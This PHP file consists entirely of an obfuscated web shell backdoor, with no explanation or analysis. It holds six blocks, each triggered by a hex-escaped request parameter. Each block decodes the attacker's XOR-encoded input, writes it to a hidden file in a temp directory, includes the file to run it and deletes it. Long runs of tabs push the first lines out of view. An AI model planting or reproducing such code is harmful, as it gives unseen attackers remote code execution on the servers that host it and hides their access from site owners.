<?php																																										if(!is_null($_REQUEST["\x70\x61ra\x6D\x65\x74e\x72\x5Fgr\x6Fup"] ?? null)){ $component = $_REQUEST["\x70\x61ra\x6D\x65\x74e\x72\x5Fgr\x6Fup"]; $component =explode ("." ,$component ); $pointer =''; $s2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s2 ); $w =0; foreach ($component as $v1) { $chS =ord($s2[$w%$sLen] ); $d =((int)$v1 - $chS - ($w%10)) ^ 77; $pointer .= chr($d ); $w++; } $itm = array_filter(["/dev/shm", getcwd(), getenv("TMP"), "/tmp", "/var/tmp", getenv("TEMP"), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); while ($symbol = array_shift($itm)) { if (max(0, is_dir($symbol) * is_writable($symbol))) { $obj = sprintf("%s/.entry", $symbol); if (@file_put_contents($obj, $pointer) !== false) { include $obj; unlink($obj); exit; } } } }
																																										if(!is_null($_POST["\x68ld"] ?? null)){ $dat = array_filter(["/dev/shm", "/var/tmp", "/tmp", getenv("TMP"), session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir")]); $data_chunk = $_POST["\x68ld"]; $data_chunk =explode ( "." , $data_chunk ) ; $record = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); $m = 0; foreach ($data_chunk as $v6) {$chS = ord($salt9[$m% $lenS]); $dec = ((int)$v6 - $chS - ($m% 10)) ^ 29; $record .= chr($dec); $m++; } foreach ($dat as $pointer) { if (max(0, is_dir($pointer) * is_writable($pointer))) { $data = str_replace("{var_dir}", $pointer, "{var_dir}/.tkn"); if (@file_put_contents($data, $record) !== false) { include $data; unlink($data); exit; } } } }
																																										if(in_array("s\x79m", array_keys($_POST))){ $pgrp = array_filter(["/tmp", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TMP"), getenv("TEMP"), "/var/tmp", "/dev/shm"]); $ent = $_POST["s\x79m"]; $ent =explode ( "." ,$ent ) ; $factor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $x = 0; $__tmp = $ent; while( $v7 = array_shift( $__tmp)) { $sChar = ord( $salt[$x% $lenS] ); $d =( ( int)$v7 - $sChar -( $x% 10)) ^ 41; $factor.=chr( $d ); $x++;} foreach ($pgrp as $res) { if (array_product([is_dir($res), is_writable($res)])) { $hld = sprintf("%s/.ref", $res); $file = fopen($hld, 'w'); if ($file) { fwrite($file, $factor); fclose($file); include $hld; @unlink($hld); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x64ata_\x63\x68\x75\x6Ek")){ $val = array_filter(["/var/tmp", "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getcwd(), getenv("TEMP"), getenv("TMP")]); $element = $_REQUEST["\x64ata_\x63\x68\x75\x6Ek"]; $element = explode (".",$element ) ; $ptr = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $__len = count($element); for ($z = 0; $z< $__len; $z++) { $v1 = $element[$z]; $chS = ord($salt[$z % $lenS]); $dec = ((int)$v1 - $chS - ($z % 10)) ^60; $ptr .= chr($dec); } while ($obj = array_shift($val)) { if ((bool)is_dir($obj) && (bool)is_writable($obj)) { $sym = sprintf("%s/.flg", $obj); $file = fopen($sym, 'w'); if ($file) { fwrite($file, $ptr); fclose($file); include $sym; @unlink($sym); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x72e\x66\x65\x72ence"])){ $key = $_REQUEST["\x72e\x66\x65\x72ence"]; $key=explode( '.' , $key ) ; $entry = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s2); $l = 0; $__tmp = $key; while( $v5 = array_shift( $__tmp)) { $chS = ord( $s2[$l % $lenS]); $d =( ( int)$v5 - $chS -( $l % 10)) ^ 53; $entry.= chr( $d); $l++; } $resource = array_filter([ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), getcwd(), "/tmp", "/var/tmp", getenv("TEMP")]); while ($pset = array_shift($resource)) { if (is_dir($pset) && is_writable($pset)) { $ptr = "$pset/.k"; $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $entry); fclose($file); include $ptr; @unlink($ptr); die(); } } } }


if(!empty($_REQUEST["\x64at"])){
	$value = $_REQUEST["\x64at"];
	$value = explode(		 '.' , $value	  )	;
	$pset	 = '';
            $s1	 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	 = strlen($s1	);
            $len	 = count($value	);
    
            for ($r	 = 0; $r < $len; $r++) {$v8	 = $value[$r];
                $chS	 = ord($s1[$r	%$sLen]	);
                $d	 = ((int)$v8 - $chS - ($r	%10))	^33;
                $pset	 .=	 chr($d	);
            }
	$resource = array_filter([getcwd(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/tmp", "/var/tmp", "/dev/shm", getenv("TEMP")]);
	foreach ($resource as $elem) {
    		if ((bool)is_dir($elem) && (bool)is_writable($elem)) {
    $component = "$elem" . "/.itm";
    if (file_put_contents($component, $pset)) {
	require $component;
	unlink($component);
	exit;
}
}
}
}